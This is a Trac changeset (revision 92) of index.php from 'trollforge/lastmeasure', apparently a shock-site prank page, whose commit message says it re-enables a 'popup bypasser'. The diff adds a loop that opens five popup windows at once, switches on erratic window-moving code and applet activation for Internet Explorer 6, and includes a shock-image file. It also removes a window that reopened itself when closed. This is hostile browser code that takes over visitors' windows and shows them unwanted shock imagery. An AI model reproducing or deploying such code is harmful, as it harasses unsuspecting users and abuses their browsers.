Changeset 92 for trollforge/lastmeasure


Ignore:
Timestamp:
11/24/05 01:43:50 (8 years ago)
Author:
sam
Message:
  • reenabled popup bypasser
File:
1 edited

Legend:

Unmodified
Added
Removed
  • trollforge/lastmeasure/index.php

    r91 r92  
    1010$popup = $_GET['popup']; 
    1111$procreate = $_GET['procreate']; 
    12 $music = $_GET['music']; 
    1312 
    1413/* Print a random image name, with its 'image/' prefix. */ 
     
    104103    function movew0w() { 
    105104      var j; 
    106       for (j = 0; j < 10; j++) { 
    107         curstep += step / 10; 
     105      for (j = 0; j < 5; j++) { 
     106        curstep += step / 5; 
    108107        var factorX = Math.sin(curstep * 6.1) * 0.9; 
    109108        var factorY = Math.cos(curstep * 3.7) * 0.9; 
    110109 
    111 //        factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70) 
    112 //                    * (Math.sin(10+curstep/(10+j))+0.2) 
    113 //                    * Math.cos((curstep + j*25)/10); 
    114 //        factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70) 
    115 //                    * (Math.sin(10+curstep/10)+0.2) 
    116 //                    * Math.cos((curstep + j*25)/10); 
     110        factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70) 
     111                    * (Math.sin(10+curstep/(10+j))+0.2) 
     112                    * Math.cos((curstep + j*25)/10); 
     113        factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70) 
     114                    * (Math.sin(10+curstep/10)+0.2) 
     115                    * Math.cos((curstep + j*25)/10); 
    117116        self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY)); 
    118117      } 
     
    124123} 
    125124 
    126 function spawn_children() { ?> 
     125function popup_bypasser() { ?> 
     126  <!-- This chunk bypasses popups --> 
    127127  <script> 
    128128    function shellscript() {  
    129       open('http://<?php echo $_SERVER['SERVER_NAME'];?>/index.php?music=1','_blank','scrollbar=no'); 
    130       // TODO: LOOP 
    131       open('http://<?php echo $_SERVER['SERVER_NAME'];?>/index.php?popup=1','_blank','scrollbar=no'); 
     129      for(i = 0; i < 5; i++) { 
     130        open('http://<?php echo $_SERVER['SERVER_NAME'];?>/index.php?popup=1','_blank','scrollbar=no'); 
     131      } 
    132132    } 
    133133 
     
    195195     */ 
    196196 
    197     if(!$popup && !$send && !$procreate && !$music) { ?> 
     197    if(!$popup && !$send && !$procreate) { ?> 
    198198    <body> 
    199199      <?php include "include/goatse.php"; ?> 
     
    234234  <?php move_around(800, 600); 
    235235        external_ruin(); 
     236        activate_applets(); 
    236237        if($br_ie6) { 
    237           //activate_applets(); 
    238           //spawn_children(); 
     238          popup_bypasser(); 
    239239          //divert_onload(); 
    240240        } //else { ?> 
     
    285285    /* 
    286286     * 
    287      *  Window is a music helper window 
    288      * 
    289      */ 
    290  
    291     } elseif($music) { 
    292       ?> 
    293 <body onLoad="movewindow();" 
    294       onUnload="window.open('index.php?music=1','music','fullscreen=0');"> 
    295   <?php move_around(10, 10); ?> 
    296   <table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0"> 
    297     <tr> 
    298       <td align="center" valign="middle"><?php hey_everybody();?></td> 
    299     </tr> 
    300   </table> 
    301 </body><?php 
    302  
    303     /* 
    304      * 
    305287     *  Window is a procreate window 
    306288     * 
Note: See TracChangeset for help on using the changeset viewer.